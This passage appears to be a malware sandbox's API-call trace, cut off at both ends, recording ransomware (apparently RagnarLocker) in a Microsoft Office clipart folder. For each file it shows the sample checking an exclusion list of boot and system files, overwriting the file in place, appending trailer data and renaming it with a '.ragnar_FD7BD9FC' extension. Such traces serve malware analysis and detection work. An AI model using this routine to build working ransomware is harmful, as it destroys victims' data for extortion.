ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0082.802] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.802] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0086424.WMF" | out: lpString1="J0086424.WMF") returned="J0086424.WMF" [0082.802] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned=".WMF" [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="autorun.inf") returned 1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="boot.ini") returned 1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="bootfont.bin") returned 1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="bootsect.bak") returned 1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="bootmgr") returned 1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="bootmgr.efi") returned 1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="bootmgfw.efi") returned 1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="desktop.ini") returned 1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="iconcache.db") returned 1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="ntldr") returned -1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="ntuser.dat") returned -1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="ntuser.dat.log") returned -1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="ntuser.ini") returned -1 [0082.802] lstrcmpiW (lpString1="J0086424.WMF", lpString2="thumbs.db") returned -1 [0082.802] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.802] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.802] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.802] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.802] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.802] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.802] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 0x20 [0082.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.805] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17016) returned 1 [0082.805] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x426f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.805] GetProcessHeap () returned 0x580000 [0082.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.805] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.806] VirtualAlloc (lpAddress=0x0, dwSize=0x4278, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.807] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4278, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4278, lpOverlapped=0x0) returned 1 [0082.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.808] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4278, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.808] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4278, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4278, lpOverlapped=0x0) returned 1 [0082.808] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4278, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.808] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4278, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.809] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.809] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.809] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.809] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.809] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.809] GetProcessHeap () returned 0x580000 [0082.809] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.809] CloseHandle (hObject=0xf4) returned 1 [0082.809] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" [0082.809] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.ragnar_FD7BD9FC" [0082.809] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.810] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0082.810] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.810] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0086426.WMF" | out: lpString1="J0086426.WMF") returned="J0086426.WMF" [0082.810] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned=".WMF" [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="autorun.inf") returned 1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="boot.ini") returned 1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="bootfont.bin") returned 1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="bootsect.bak") returned 1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="bootmgr") returned 1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="bootmgr.efi") returned 1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="bootmgfw.efi") returned 1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="desktop.ini") returned 1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="iconcache.db") returned 1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="ntldr") returned -1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="ntuser.dat") returned -1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="ntuser.dat.log") returned -1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="ntuser.ini") returned -1 [0082.810] lstrcmpiW (lpString1="J0086426.WMF", lpString2="thumbs.db") returned -1 [0082.810] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.810] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.810] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.810] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.810] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.810] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.810] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf")) returned 0x20 [0082.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.811] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21782) returned 1 [0082.811] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x550d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.811] GetProcessHeap () returned 0x580000 [0082.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.811] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.812] VirtualAlloc (lpAddress=0x0, dwSize=0x5516, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.812] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.812] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5516, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5516, lpOverlapped=0x0) returned 1 [0082.814] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.814] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5516, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.814] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5516, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5516, lpOverlapped=0x0) returned 1 [0082.814] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5516, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.814] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.814] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5516, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.814] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.814] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.814] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.814] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.815] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.815] GetProcessHeap () returned 0x580000 [0082.815] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.815] CloseHandle (hObject=0xf4) returned 1 [0082.815] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" [0082.815] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.ragnar_FD7BD9FC" [0082.815] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.815] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0082.815] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.815] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0086428.WMF" | out: lpString1="J0086428.WMF") returned="J0086428.WMF" [0082.815] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned=".WMF" [0082.815] lstrcmpiW (lpString1="J0086428.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.815] lstrcmpiW (lpString1="J0086428.WMF", lpString2="autorun.inf") returned 1 [0082.815] lstrcmpiW (lpString1="J0086428.WMF", lpString2="boot.ini") returned 1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="bootfont.bin") returned 1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="bootsect.bak") returned 1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="bootmgr") returned 1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="bootmgr.efi") returned 1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="bootmgfw.efi") returned 1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="desktop.ini") returned 1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="iconcache.db") returned 1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="ntldr") returned -1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="ntuser.dat") returned -1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="ntuser.dat.log") returned -1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="ntuser.ini") returned -1 [0082.816] lstrcmpiW (lpString1="J0086428.WMF", lpString2="thumbs.db") returned -1 [0082.816] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.816] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.816] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.816] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.816] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.816] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.816] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf")) returned 0x20 [0082.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.817] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=35346) returned 1 [0082.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8a09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.817] GetProcessHeap () returned 0x580000 [0082.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.817] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.818] VirtualAlloc (lpAddress=0x0, dwSize=0x8a12, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.819] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.819] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.819] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8a12, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8a12, lpOverlapped=0x0) returned 1 [0082.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.820] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a12, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.820] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8a12, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8a12, lpOverlapped=0x0) returned 1 [0082.820] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a12, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.820] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.821] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8a12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.821] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.821] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.821] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.821] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.821] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.821] GetProcessHeap () returned 0x580000 [0082.821] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.821] CloseHandle (hObject=0xf4) returned 1 [0082.821] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" [0082.821] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.ragnar_FD7BD9FC" [0082.821] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.822] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0082.822] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.822] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0086432.WMF" | out: lpString1="J0086432.WMF") returned="J0086432.WMF" [0082.822] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF") returned=".WMF" [0082.822] lstrcmpiW 